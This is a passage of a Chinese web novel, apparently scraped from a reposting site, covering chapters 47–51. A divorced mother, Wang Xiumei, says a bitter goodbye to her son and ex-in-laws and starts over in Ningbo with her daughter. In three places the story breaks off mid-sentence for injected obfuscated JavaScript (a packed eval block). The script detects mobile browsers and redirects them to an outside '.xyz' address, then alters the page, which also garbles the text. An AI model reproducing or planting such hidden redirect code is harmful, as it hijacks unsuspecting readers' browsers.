“丽姐，您好。不好意思打扰您了……”王秀梅一时不知该如何开口。 电话那头的杨丽似乎察觉到了她的犹豫：“秀梅，是遇到什么事了吗？需要我帮忙？” 这句直接的询问，瞬间击中了王秀梅强撑的脆弱。她想起当年辞职时，杨丽再三劝阻她不要做后悔的决定……一语成谶。倒不是后悔离婚，只是面对曾经赏识自己的领导，她有些难堪。当初丽姐很有心的栽培她，可惜她 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半个小时后，她收到了杨丽的短信，上面写着宁波刘老板的电话号码和宁波那家商场的详细地址。 晚上吃饭时，王秀梅把这个决定告诉了父母。 “什么？你要去宁波？！”张红英手里的筷子差点掉下来，眼睛瞪得老大。 “嗯，今天跟以前的领导联系好了。宁波那边的老板也通过电话了，对方说希望我尽快过去。”王秀梅平静地回答。 “啥时候走？”王大富放下碗，眉头紧锁。 “就这几天吧。坐火车过去要花时间，到了那边还得找房子租。工作不等人，我想早点安顿下来。”王秀梅说着，给身边的赵无恙喂了口饭。 张红英还没从女儿离婚的冲击中缓过神来，这两天接二连三的变故——女儿突然带外孙女回家、争吵、离婚、现在又要远走他乡打工。事情发展快得让她脑子发懵，完全跟不上节奏。 王大富看看女儿，又看看懵懂的外孙女：“那……孩子呢？” 赵无恙正乖乖地吃着饭。王秀梅伸手轻轻摸了摸女儿的头，眼神温柔而坚定：“她跟我一起走。我不会把她一个人留在这里。” 王大富没再说什么，默默地起身走进里屋。过了一会儿，他拿着一个红皮存折和一个掉了漆的旧铁皮盒子走出来，塞到王秀梅手里。 “这存折里有点钱，都是你以前给我们的，还有我给人做活攒的，你妈卖猪的钱也在里头。盒子里是现钱，不多，都是零的。你带着孩子去那么远的地方，哪哪都要花钱，这些全都带上。”他的声音低沉，带着不容拒绝的意味。 王秀梅低头看着手里的存折和铁皮盒子。盒子边缘的漆已经斑驳，露出里面暗色的铁皮。她能想象里面装着父母省吃俭用、一块一块攒下的零钱。眼泪再也忍不住，一滴、一滴，重重地砸在冰凉的铁皮盒盖上，在寂静的夜里发出清晰又沉重的声响。 那一晚，王秀梅抱着父母的全部家当，睁着眼睛躺在床上，一夜未眠。窗外的山影在月光下沉默地矗立着，而她怀里熟睡的赵无恙，是她唯一的温暖和支撑。 48. 告别 出发前的一天，王秀梅去银行把父亲存折里一半的钱转到了自己卡上，又取了些路上要用的现金。作为女儿，她终究做不到拿走父母所有的积蓄，毕竟父母在家也要生活。能得到他们的支持，已是莫大的幸运了。 马上要离开家乡，王秀梅心里最放不下的，还是儿子赵安然。她想回赵家看看他，但又害怕——怕看到他的难过，怕听到他的哭泣，更怕面对他的不解和怨恨。 经历一番心理斗争，王秀梅最终还是带着赵无恙前往赵家，虽然离了婚，她依然是赵安然的母亲，赵无恙也依然是赵家的孩子。 她特意挑了晚饭后的时间。这时候天已擦黑，路上没有什么行人，能避开那些好奇探究的目光。在这个封闭落后的村子里，她离婚的消息基本上在背地里都传开了，她不想再成为别人茶余饭后的谈资。 很幸运，一路上确实没有遇到村里的熟人。 怀着忐忑的心情，母女俩站在了赵家门口。灯光从窗户透出来，里面传来碗筷的声响。她没有提前告知赵家人自己要外出打工，只告知了自己看看儿子，也让赵无恙回家看看。 推门进去，赵家人正围坐在饭桌旁吃饭。看到她和赵无恙，空气瞬间停顿半分。赵兴强看了一眼，继续扒拉着碗里的饭。杨红翠瞥了一下，鼻子里轻哼一声，转头给赵安然夹菜。只有赵国亮放下碗，站起身走过来，伸手要抱赵无恙。他看起来有些憔悴，胡子拉碴，显然这几天没少受老两口的数落。他看到王秀梅没在意自己，又把头侧向外面。 因为王秀梅的目光，第一时间就锁在了儿子赵安然身上。赵安然坐在桌边，小小的身体绷得紧紧的。他飞快地抬头看了王秀梅一眼，那眼神里充满了委屈，却又在下一秒猛地低下头，死死盯着自己的饭碗，躲避着她的视线。 赵兴强和杨红翠对自己的冷漠疏离是正常的，毕竟是自己主动要离婚的。在他们眼里，她是这个家庭的“背叛者”，她能理解他们的怨气。但是，她不能理解两个老人对赵无恙的态度，难道赵无恙跟了她就不姓赵了？就不是赵家的血脉了？ 才短短一周，这份刻意的冷淡和排斥，让她心里堵得难受。 看着前公婆，那句习惯性的“爸、妈”到了嘴边，又被她咽了回去。她定了定神，还是省去了称呼，直接开口：“我想跟安然说几句话，行吗？” 还没等到他们的回复，一个稚嫩却带着巨大冲击力的声音像炸雷一样响起，瞬间击碎了王秀梅强撑的平静： “你来干什么？！你不是不要我了吗？！你都走了还来我家干什么？！” 王秀梅如遭雷击，僵在原地！这……这是从她那个活泼可爱、天真烂漫的儿子嘴里说出来的话？每一个字都像淬了毒的针，狠狠扎进她的心窝！ 巨大的震惊和心痛让她眼眶愤红。这是她第一次用近乎愤恨的目光扫过杨红翠和赵兴强，甚至是赵国亮！她了解赵国亮，他或许不会直接教孩子说这种话，但现在儿子说出如此伤人的话时，他竟没有一句斥责，反而沉默着，默认了儿子的话，似乎儿子说出了他的心里话一般。 杨红翠似乎被王秀梅的目光刺到，不自在地别开脸，又往赵安然碗里夹了一筷子菜，嘴里嘟囔着：“快吃，菜都凉了。”赵兴强则闷头抽着烟，默不作声。 儿子的怒吼埋怨像刀子剜心，王秀梅满心愧疚和疼痛。她能理解一个孩子被“抛弃”后的委屈和愤怒，他是无辜的。但她无法原谅！无法原谅作为长辈，竟然这样给孩子灌输仇恨！任由赵安然用最恶毒的话来伤害她！明明离婚时说好了共同抚养，双方都可以探望孩子，为什么要变成这样？ 为了孩子，她终究还是妥协了，强压下翻涌的情绪：“爸，妈，离婚是我和赵国亮两个人的事。我不希望大人的事影响到孩子。请你们……不要这样教他说话。无论如何，我都是他的妈妈！” 杨红翠听到王秀梅的指责，理不直但气也壮，似乎觉得自己没有什么过错：“谁教他了？！我可没有这样教他说话。这都是村里其他人对他说的，难道我要把他锁在家里，不让他出去，不让他和别人接触吗？” “那别人对孩子说这些的时候，你们为什么不制止？为什么不告诉他这样说不对？！”王秀梅的声音也颤抖起来。 “制止？他们说得不对吗？！”杨红翠听到王秀梅的反驳，声量立刻提升了好几度，阴阳怪气地指责，“你自己拍拍屁股走人的时候，怎么不想想村里人会在背后咋个说？怎么不想想你儿子的处境？！他能对你说出这些话，都是你自找的！是你这个当妈的先不要他的！” 看着眼前这位曾经一起生活、也曾家长里短闲聊的“婆婆”，王秀梅感到一阵彻骨的悲凉。婆媳一场，却没想到有一天，杨红翠会用这种刻薄和怨毒的态度对待她。 明明在这个家里，作为唯一不姓“赵”的两个女人，却成了最反目成仇的敌人，真的是令人可笑又可悲，不知道她们两人的争吵是为了自己还是为了姓赵的人。 王秀梅的目光再次无奈地投向儿子。从进门到现在，他没有向她靠近一步。她知道，带不走他，此刻说什么都苍白无力。她只能希望孩子长大，希望他长大后能理解她的苦衷，理解她现在的处境。 她最终还是放弃了和赵安然作最后的告别。 很多事情不尽她意，但她也无能为力了。 她转向被赵国亮抱在怀里的赵无恙，伸出手，声音尽量放柔：“无恙，跟爷爷奶奶、爸爸、哥哥说再见吧。天晚了，我们该回去了。” 听到王秀梅的话，赵无恙乖巧地想从赵国亮身上下来，但被人制止了。 赵国亮紧紧地扣住女儿，眼神直直刺向王秀梅，语气强硬：“她不跟你回去！今晚就在这儿睡！这儿才是她的家！她哪儿也不去！” 如果今晚是一次正常的见面，没有赵安然那番话，没有杨红翠的刻薄指责，王秀梅会毫无不犹豫地选择让赵无恙留下过夜。但此刻，绝无可能！ 此刻，赵无恙是她仅存的心理支柱，是她唯一的慰藉。她绝不能容忍女儿也变成赵安然那样，更无法承受从女儿口中再听到一句心如刀割的话！ “不行！她必须跟我走！”王秀梅的声音斩钉截铁。 “凭什么？！她姓赵！是我赵国亮的女儿！”赵国亮也毫不退让。 两人陡然拔高的激烈争吵，吓坏了原本安静的赵无恙。她“哇”地一声大哭起来，小手拼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788795|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命伸向王秀梅，哭喊着：“妈妈～妈妈～我要妈妈～” 王秀梅趁着赵国亮分神安抚孩子的空隙，眼疾手快地一把将赵无恙夺了过来，紧紧抱在怀里，一边拍抚她的后背，一边安慰：“不怕不怕，妈妈在，妈妈在……” 就在这时，一直沉默的赵兴强使了个眼色。赵安然像是得到了指令，立刻跑过来，用力拉扯着赵无恙的小胳膊，带着怒气喊：“无恙！这才是你家！你要在这里睡！那边不是你家！你不能去那边！” “安然，放开妹妹。”王秀梅的心彻底凉透了，愤怒和心寒让她浑身发冷。她抱紧哭得上气不接下气的赵无恙，只想立刻逃离这个地方。但最后的理智让她停住脚步，还是让赵无恙给赵家人作了体面的告别：“无恙，跟爷爷奶奶、爸爸、哥哥说再见。” 赵无恙抽噎着，小脸哭得通红，还是努力按照妈妈的话，带着浓重的鼻音说：“我…我要跟妈妈回去睡…爸爸拜拜～哥哥拜拜～爷爷拜拜～奶奶拜拜～” 这句告别，像点燃了炸药桶。赵安然突然一下甩开赵无恙的小胳膊，愤怒地哭吼起来：“走吧，你们赶紧走！你以后再也不是我妹妹了！”吼完，他又抬头，用充满泪水的眼神瞪着王秀梅，用尽全身力气喊道：“你也不再是我妈妈了！” 听到这里，王秀梅一把抱起哭得撕心裂肺的赵无恙，转身就往外冲。身后，传来了杨红翠刻薄的咒骂：“走就走呗！跟着她妈走，以后还姓不姓赵都不知道呢！以后她也不要你这个哥哥了，你就当没这个妹妹！” 紧接着，是赵安然带着哭腔的嘶吼：“那我以后再也不要这个妹妹了！” 王秀梅一手死死抱着女儿，一手用力捂住赵无恙的耳朵，试图让她听不到背后充满恶意的声音。她脚步踉跄，几乎是小跑着逃离了那个曾经的家。直到走出很远，身后的声音完全听不见了，她才在路边停下，把哭得直抽噎的赵无恙轻轻放在地上。 王秀梅蹲下身，紧紧地抱着女儿，用袖子擦去她满脸的泪水，声音哽咽却努力保持平稳：“乖，不哭了……哥哥在说气话呢，他是爱你的，爸爸也是爱你的……我们不生气，好不好？” “那……那爷爷和奶奶呢？他们爱我吗？” 听到女儿的反问，王秀梅停顿了，她不知该如何回答这个问题。她带不走赵安然，是因为赵安然是个男孩，不代表她不爱赵安然。赵家人当然爱赵安然，可对赵无恙呢？如果他们真的想要这个孙女，真的很爱她，刚才就不会是那样的态度，也不会那么轻易让她带走赵无恙。讽刺的是，她也不会这么顺利的跟赵无恙在此刻相拥。 他们骨子里，或许觉得女孩终究是“别人家”的…… 她知道赵无恙作为女孩，对他们来说，是一种负担。但看着女儿纯真又带着期盼的眼神，王秀梅终究不忍心说出真相。她艰难地咽下喉咙里的苦涩，努力挤出一个笑容，轻声说：“爱的。爷爷奶奶……也是爱你的。” 王秀梅站起身，最后回头，望向公路对面那座亮着灯的房子，那里曾是她的“家”。心中没有不舍，没有留恋，她握紧赵无恙的手，转身，踏上了通往王坪村的路。 谁曾想，这一转身，便是整整十四年。 49. 宁波 在乡村寂静的小路上，没有路灯，只有零零散散的各家灯火。王秀梅和赵无恙母女两人靠着手电筒一路前行，或许凭着夜色笼罩，黑暗成了她最好的掩护，她可以任意地让眼泪留下来，只要不发出哽咽，赵无恙就不会知晓。 以往从赵家到王家的路，要走很久，可是今晚她似乎没有感受到时间的漫长，很快就要到了，快到她都来不及平复自己的心情。 王秀梅一路没有说话，赵无恙也心有灵犀一般，又回到安静状态。快到家门口时，王秀梅没有直接进家门。而是坐在门口的石墩上，把女儿抱起来放在自己腿上，背对着自己。。她双臂环住女儿小小的身体，把头轻轻地靠着女儿的后背上，似乎能从这稚嫩的依靠里汲取一点力量。 今晚赵家那一幕幕带来的冲击太大了，远超她的想象。曾经共同生活了无数个日子的“家人”，为什么会在短时间内变成另一幅模样？他们竟能如此刻薄地撕破脸皮，哪怕是作为孩子母亲的身份上都没有保留一丝情面。 她不明白，离婚后的转变如此之大，人心怎么能在短短几天内变得如此陌生。 为什么人一旦分开后就要撕破脸面了？在婚姻关系里，尤其上当时的农村社会，男人没有重大过错，女人一旦提出离婚，这夫家人眼里，甚至外人眼里都是千夫所指，女人会被骂“不好好过日子”、“不安分”，会被指责“抛弃子女”、“没有尽到母亲的责任”，甚至会被造黄谣“早就跟其他男人好上了”。女人似乎没有作为女性的主体社会地位，只有“妻子”、“母亲”、“女儿”、“儿媳妇”这种附带身份。 回到娘家的这些天，她从许多邻居、亲戚的脸上读到的都是同一个无声的疑问：赵国亮没犯大错——没有杀人放火、出轨□□、打架斗殴，抛妻弃子等行为，你王秀梅到底在“作”什么？ 她们无法理解王秀梅。农村女人的日子，哪个不是一地鸡毛，掺着血泪往下熬？熬到孩子长大，熬到男人折腾不动，熬到老人离世……日子不就这么“熬”出头了吗？ 可王秀梅不愿意“熬”了。这个“熬”字，像慢性毒药，一点点消磨人的精神，直到麻木，直到与痛苦融为一体。她宁愿清醒地承受这份撕裂的痛苦，也不愿在麻木中耗尽一生。这是她的选择。既然选择了，就只能咬着牙往前走。 至少，她现在还有离开的勇气。 怀里的赵无恙动了动，小脑袋蹭了蹭她的下巴。王秀梅深吸一口气，抹掉脸上的湿痕，抱起女儿走进家门。 意外地，她看到了弟弟王秀山。 王秀山坐在屋里，打工这几年，身上终于少了些社会混子的气质。看到王秀梅，他没有像父母那样反复追问姐姐离婚的缘由。在他看来，原因再简单不过——过不下去了呗。要是过得好，谁会走这一步？ 王秀山是一个典型的结果导向论。 在和父母的聊天中，他一直不理解父母担忧的点是什么？——他姐以后该怎么办？孩子该怎么办？和赵家的关系怎么办？ 这些在王秀山眼里都完全不是个事儿，只觉得他们想太多。他在外面的朋友十个就有八个家里离婚的，还不是该长大就长大。关于赵无恙，王家四个大人难道还养不活一个小孩吗？关于赵家，又不是同一个村的，又不用天天见面，这又无所谓。 在他眼里，姐姐的选择就是唯一重要的决定。别的都不是事儿。 “你怎么突然赶回来了？”王秀梅看着弟弟回家虽然意外，但但猜到是父母通知了他，因为自己没有来得及给他说离婚这个事情。 “你这边的事情都处理完了吗？”王秀山直接问。 “嗯，差不多了。” 那行，我陪你去宁波。等你安顿好了，我再回广州。”王秀山的语气很轻松。 “嗯。”王秀梅没有拒绝王秀山的陪同。自上次打架斗殴事件后，王秀山就去了广州打工，性子收敛了不少。虽然还是爱到处交一些他眼中所谓的“朋友”，但再没惹过大麻烦，每年打工挣的钱都准时寄回家。父亲给她的那张存折里，大部分都是弟弟的寄回来。 弟弟的转变和对她的维护，王秀梅都看在眼里。从小到大，他一直都是如此，什么事情都会站在她的角度上，哪怕他不知道是非经过。 有了王秀山同行，去宁波的路途轻松了许多。 天刚蒙蒙亮，三人就从乡里坐上了开往县城的大巴。在县城客运站匆匆扒了几口快餐，又转客车去市里。在市里吃了晚饭，王秀山买了些面包、饼干和几桶泡面，然后三人直奔火车站，踏上了开往宁波的绿皮火车。 王秀山包揽了所有体力活——扛行李、买票、跑前跑后买东西。王秀梅只需要专心照顾赵无恙。火车哐当哐当地行驶了一天一夜，终于在晨曦中抵达了宁波站。 走出站口，陌生方言扑面而来。站前广场上挤满了人，大多和王秀梅他们一样，来自五湖四海。大家背着鼓鼓囊囊的编织袋行李，脸上带着初到大城市的茫然和疲惫。看着眼前这座高楼林立、车水马龙的陌生城市，王秀梅心里没有害怕，反而涌起一股强烈的期待——新的人生，就要在这里开始了。 按着杨丽给的地址，他们找到了市中心那个商场。地段繁华得让王秀梅心里咯噔一下，附近的房租肯定便宜不了。姐弟俩在周边打听了一圈，果然租金高得吓人。他们只好又坐公交车返回火车站附近，找了家最便宜的小旅馆暂时住下，打算第二天去远点的地方找房子。 第二天一早，三人正准备出门找房，王秀梅的手机响了，是李春阳。 “秀梅，你在宁波哪儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788796|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？我在宁波客运站这边，快告诉我地址，我过来找你。” 一个多小时后，风尘仆仆的李春阳出现在了小旅馆门口。原来她昨晚从父母那里得知王秀梅离婚的消息，立刻给张红英打了电话，才知道她们已经到了宁波。她二话不说，今天一早就坐了最早一班车从杭州赶了过来。毕竟都在同一个省，杭州到宁波过来就只要两个多小时，还挺方便的。 李春阳和王秀梅都是性格要强的人，虽然结婚后因为家庭琐事没有经常联系，但两人见面后还是如小时候那般亲切。两人没有过多的客套和寒暄，李春阳性格依旧泼辣爽利，得知王秀梅要找房子后，立刻掏出手机，噼里啪啦地打起电话，联系她在杭州认识的宁波本地朋友。几通电话下来，她圈定了几个价格合适的区域。 “走！我带你们去看！我知道几个地方，便宜，交通也还算方便！”李春阳雷厉风行。 在她的带领下，她们跑了好几个地方。最后，在离市中心有些距离、但公交还算便利的一个老居民区里，找到了一处房子。那是一栋老旧的筒子楼，楼道昏暗，墙壁斑驳。这个房子是老房子，有很多合租的人，因为是主卧带了一个独立的小卫生间，虽然狭窄，但胜在不用和别人共用厕所，这对带着孩子的王秀梅来说太重要了。租金也在她能承受的范围内。 “就这里吧！先安顿下来，等工作稳了再换好的！”王秀梅当机立断。她盘算着，等工资发下来，攒点钱，再换个一室一厅。 房子定下来，这两天李春阳陪着王秀梅一直在宁波，帮着简单收拾了一下，又一起买了些必需品。等王秀梅完全搬进去，她得赶回杭州了。 “行了，我得走了，不然赶不上车了。有啥事随时给我打电话！”李春阳匆匆告别。 当天晚上，王秀梅才在枕头下看到一个红包，她知道这是李春阳的心意。 李春阳走的当天，王秀山也动身去广州了。他没那么多弯弯绕绕，把自己身上除了必需的路费和生活费之外的所有钱，一股脑儿塞给了姐姐。 “这钱你拿着，刚开始哪哪都要花钱，钱不够了就给我说。”他语气很轻松平常，却透着不容拒绝的关心。后来每个月，他寄回家的钱都分成了两份，一份给父母，一份直接寄到王秀梅手里。 送走了弟弟，王秀梅带着赵无恙，正式开始了在宁波的生活。 凭着在商场卖衣服的经验，和自己开店的管理能力，再加上能吃苦，又有杨丽的推荐，王秀梅顺利地在商场里干了下去。工作很辛苦，每天站得腿发麻，还要应对形形色色的顾客，很多时候还听不懂宁波本地话，虽然很苦恼，但当她拿着第一份工资，看着女儿安静地玩着新买的小玩具，心里充满了前所未有的踏实感。 似乎这一切都在往好的方向发展。 50. 内心 也许是意气用事，又或许是因为前二十几年的人生过得太顺自己的心意。赵国亮哪怕内心不愿离婚，但他也拉不下脸面和自尊去挽回一个执意要走的女人。 无数个寂静的夜里，去浙江找王秀梅的念头像野草一样疯长，啃噬着他的心。可天一亮，酒劲散去，那点冲动又被残存的自尊和莫名的怯懦死死压了下去。 白天浑浑噩噩，夜晚辗转反侧。这日夜不息的思想斗争搅得他心烦意乱，不堪其扰。为了逃避这恼人的清醒，他变本加厉地流连在外，夜不归宿成了常态。 烟雾缭绕、麻将碰撞声、牌友粗鲁的喧哗叫嚷，还有酒精的麻痹，成了他短暂的避难所。只有在这些喧嚣和混沌里，他才能暂时忘记那个空落落的家，忘记那个决绝的背影。 比起赵国亮闷在心里的愁苦，赵安然的痛苦则直接而外露。 半年过去了，他现在进入了需要妈妈的阶段。尽管爷爷奶奶每天在他耳边重复着“妈妈不要你了，带着妹妹跑了”，但年幼的他，还是觉得没有妈妈的日子很难受。 他不知道大人之间的“恩怨”，但能明显感觉家里的气氛变了。 爸爸变得暴躁易怒，阴晴不定，然后经常不见人影；爷爷奶奶也不再像以前那样纵容他，开始支使他收碗、喂鸡，看会儿电视就挨骂，要点零花钱买零食玩具也要被数落好久。 村里的大人们见了他，也总爱问：“你妈离婚去哪儿啦？”这些话铺天盖地地卷向他，让他厌烦又委屈。 可越是听到这些，他心底对妈妈和妹妹的思念就越发汹涌。 懵懂的他开始回想半年前妈妈带着妹妹走的那个晚上，自己是不是说错了话？ 如果当时他抱着妈妈的腿哭着祈求不让她走，或者求她把自己也带走，是不是就不会这么难过，这么孤单？ 众人看着赵国亮和赵安然都在感慨。可谁都没想到，在这场家庭变故里，最先感到力不从心、濒临崩溃的，是杨红翠。 漂亮能干的儿媳妇带着孙女走了，曾经让她骄傲的儿子如今整日不着家。 两个店铺成了烫手山芋。服装店还好些，可那些衣服怎么摆弄才好看？价格该怎么定？她以前看王秀梅做起来得心应手，轮到自己和赵兴强时，对着满屋子的存货和一沓沓明细账单，只觉得两眼一抹黑。 更糟的是，自从他俩接手店子后，基本上就没有年轻人来买衣服了，录像厅那边生意更是一落千丈。 这是杨红翠第一次深刻理解到以往旁人对她夸赞王秀梅“能干”的含义。在开店做生意这块，她确实是很有能力，把店子管理得井井有条。 饭桌上，老两口无数次唉声叹气抱怨生意差，却都心照不宣地避开了那个名字——王秀梅。 除了顾店，家务和农活更是压得她喘不过气。以前这些大部分也是她做，可那时有王秀梅搭手。忙的时候，儿媳妇会主动做饭洗碗、洗衣服、喂猪喂鸡，农忙时节更是里里外外地忙活。 两个女人配合着，日子虽忙却也井然有序。现在，所有的担子都重重地压回她一个人肩上。 除此之外，她还要安抚又哭又闹的小孙子。 这是杨红翠嫁到赵家以来，心里最无助的时刻。 夜深了，杨红翠终于剥完毛豆。赵兴强已经哄睡了哭闹一阵的赵安然。 她看着脏乱的厨房，锅碗瓢盆堆满了灶台，煮猪食的大锅边沿糊着干结的残渣，散发着一股酸馊味。煮饭的那口灶里，炭火也快要熄灭。 她呆滞地站在那里，看着眼前凌乱的这一切，疲惫像潮水一样将她淹没。 过了几分钟，她上前就着微弱的炭火，烧了一锅热水，把碗了，灶台擦了，又费力地重新生火，铺上煤炭，最后封上湿润的煤泥，这样明天就不用大清早地起来生火了。 忙完这一切，儿子还没回来，看来今晚他又不回家了。 杨红翠走到门口坝子里，坐在一张小板凳上，抬头看着天空，有一轮弯月，还有闪烁的几颗星星。夜晚的美景暂时抚去她的一身疲惫，让她得以短暂地放松身心。 美丽的寂静夜景是属于她的。 望着那弯月亮，她不由自主地想：王秀梅现在在干什么？ 听人说，去了浙江的大城市，在大商场里卖衣服。大城市是什么样子？比老家县城还热闹吗？大商场又是什么样子？ 她这辈子最远只去过县城，也只是在破旧的巷子里闲逛。她无法想象外面的世界，但内心觉得王秀梅一定过得很好吧。 她脑海里浮现出一个画面：王秀梅穿着大商场里那些漂亮的衣服，站在明亮的灯光下，微笑着招呼城里那些穿着讲究的顾客……那是她擅长的事。 而且，她觉得王秀梅穿着那些漂亮衣服一定好看极了，一点也不比城里那些女人差…… 想着想着，杨红翠的嘴角竟不自觉地微微上扬。这样……好像也挺好的。 她那样的女人，或许就该在那种繁华的地方生活，在大商场里体面地工作，而不是埋没在这穷乡僻壤，过一辈子她杨红翠这样的日子。 这一刻，她心里涌起的，竟是对王秀梅深切的想念，比她的儿子、孙子，甚至比任何一个人都要强烈。 突然，一阵冷风吹过，带着一丝凉意，激得杨红翠打了个寒颤。刚才那点温情的思绪瞬间被吹散了，一股熟悉的怨气猛地涌了上来。 “我为什么希望她会在大城市过得好？” “她要在大城市过好了，那我呢？我儿子呢？我们算什么？！” “要不是她非要离婚，我怎么会累成这样？！家里怎么会乱成这样？！” “就是因为她离了婚，村里那些人才在背后对我们指指点点！我还得强装笑脸应付那些闲话！这都是她害的！” “她要是没走，这日子怎么会过成这样？！都怪她！都怪她！” ...... 杨红翠脑海里好像有两个人在激烈地交战着。那个充满怨恨的“她”在短暂的感性松动后，被冷风一激，从小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788797|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑屋里跑了出来，现在正以全力武装占据头脑的上风，把刚才那个善良温和的“她”死死地关进了小黑屋。 如果不这样，杨红翠不知道自己该如何面对眼前这日复一日、望不到头的生活。 她无法像王秀梅那样有勇气逃离，也没有能力去改变现状。她甚至更无法承认，自己如今的困境，很大程度上源于丈夫和儿子的不作为。 她害怕，害怕被人说闲话，害怕被子女埋怨，害怕所有的一切。然后又一遍遍的告诫自己，这里的人都是这样生活的，祖祖辈辈也都是这样过来的。 自己没有错，错的是王秀梅！ 只有这样，只有把所有的过错都归咎于那个已经离开的儿媳妇身上，她才能为自己承受的痛苦找到一个“合理”的源头，找到一个可以怨恨的对象。靠着这股怨恨，她才能支撑自己，继续在这泥泞般的生活里挣扎下去。 比起杨红翠内心的五味杂陈和激烈冲突，赵兴强对王秀梅的情绪则简单得多——主要是可惜和不满。 可惜的是王秀梅确实是个有能力的儿媳妇。现在儿子整天不着家，他这把老骨头还得帮着照看那两个店。服装店勉强能对付，那录像厅根本不是他这个年纪熟悉的。什么香港电影，什么明星大腕，他一个都不认识。十天半个月也卖不出一张碟片，眼看就要关门大吉了。 不满则是因为儿媳妇的离开，彻底打乱了他原本还算安稳的晚年生活。现在杨红翠又要顾店又要忙家里，做饭越来越糊弄，晚饭拖到九点多才能吃上。她还动不动就抱怨发脾气。孙子见不到爹妈，天天闹着要找妈妈和妹妹，家里鸡飞狗跳。更让他脸上无光的是，出去摆摊或打牌，总有人拿他家离婚的事嚼舌根，让他觉得老脸都丢尽了。 他心里埋怨王秀梅：为什么她就不能像杨红翠一样，踏踏实实地过日子？他和杨红翠吵吵闹闹几十年，日子不也这么过来了吗？ 女人家，心那么野干什么？ 再埋怨，人毕竟已经走了，眼不见心不烦。可他那个不争气的大儿子赵国亮，还天天在借酒消愁！ 对这个儿子，赵兴强是又气又恨。气他连个媳妇都拿捏不住，竟然让人家给离了！离婚了已成事实也就算了，可他离了婚就跟丢了魂似的，整天就知道喝酒打牌，十天半月不着家！看着他那副烂泥扶不上墙的样子，赵兴强就气不打一处来。 到底是个老于世故的男人，他对婚姻里的得失看得比杨红翠明白。他这儿子，模样不差，脑子也聪明，只要肯振作起来，好好挣钱，有了钱，哪里不愁再找个媳妇儿？ 这些日子看着儿子没日没夜地泡在牌桌上，赵兴强心里越来越急。他自己打牌还知道个分寸，就怕儿子年轻，被村里那些游手好闲的二流子带进沟里，彻底毁了。 “不行！明天必须得把这混小子揪回来，好好给他说说，不能再让他这么混下去了！”临睡前，赵兴强狠狠磕了磕烟袋杆子，下定了决心。 睡吧，明天一定会不一样的。也许……是吧？ 51. 要债 人有时候真是怕什么来什么，老天爷好像专爱开这种玩笑。 这天又是赶集的日子。赵家老两口吃完早饭，杨红翠先送孙子去学校。看着原本活泼调皮的孩子现在垂头丧气的样子，杨红翠心里很不是滋味，临进校门塞给他一块钱，让他买点喜欢的零食。 把孩子送进学校后回到店里，只见赵兴强在门口支了个小摊卖卷烟，生意竟比服装店还好。因为影像厅那边基本上没有人，赵兴强干脆就过来帮着服装店这边，也把卖烟草的摊子挪到了服装店门口。反正一条街就这么点大，几十年了，买烟的熟客还是那帮人，暂时挪个位置影响不大。 杨红翠看到这一幕，觉得这服装店开着还有什么意思？铺子租金一分不少，衣服却卖不动，赵兴强的卷烟倒好，随便支个摊不要租金都有人买。 看来啊，什么人干什么行当，老天爷早就安排好了。 她好几次都想跟赵兴强说，干脆关店算了，重新给儿子找份活路。杨红翠在店门口坐下，环顾四周，一看到隔壁米粉店里人头攒动，心里就更烦躁了。当初米粉店的张姐有意撮合她女儿和赵国亮，被自己拒绝了。现在倒好，自己儿子离了婚，人家的女儿嫁进了县城。张姐如今心气儿高得很，说话常常带着刺儿，什么“幸亏当初两人没成，不然我闺女还不一定能嫁城里人呢”。 杨红翠咽不下这口气。就算服装店没生意，她也得强撑下去，不能让人看扁了。 可她万万没想到，这种憋着的气，会在一个早上被彻底打散，连带着她的心气儿一起崩溃。 临近中午十二点，赶集的人群已散去大半，许多住在高山上的乡亲们早就买好东西背回家去了。老两口正打算收拾收拾去下街孩子姑婆店里吃豆花饭，还没来得及关门，店里就呼啦进来五个二十多岁的年轻人。看那穿着打扮、眼神气质，还没等对方开口，赵兴强一眼就知道这些人来路不正，十有八九是混社会的。 “你好，请问这里是赵国亮的店吗？”开口问话的领头人个子不高，身材不如后面四个高大壮实，但面容阴鸷，眼神里透着一股戾气，看样子是个狠人，应该是他们的老大。 看着被这阵仗吓着的妻子，赵兴强赶紧上前，躬着身子好声好气地招呼：“是是是，这里是赵国亮的店子，我是他爸。请问……你们找他有什么事？” 那老大没立刻答话，目光先在店里扫了一圈：门口摆的卷烟，店里挂的衣服，最后又落回两个老人身上，像是在评估这里的东西值不值钱。不过他那眼神已经告诉赵兴强：他对这些玩意儿没兴趣。 赵兴强心里已经预感到不妙，但对方接下来的话还是像一道晴天霹雳砸在他头上。 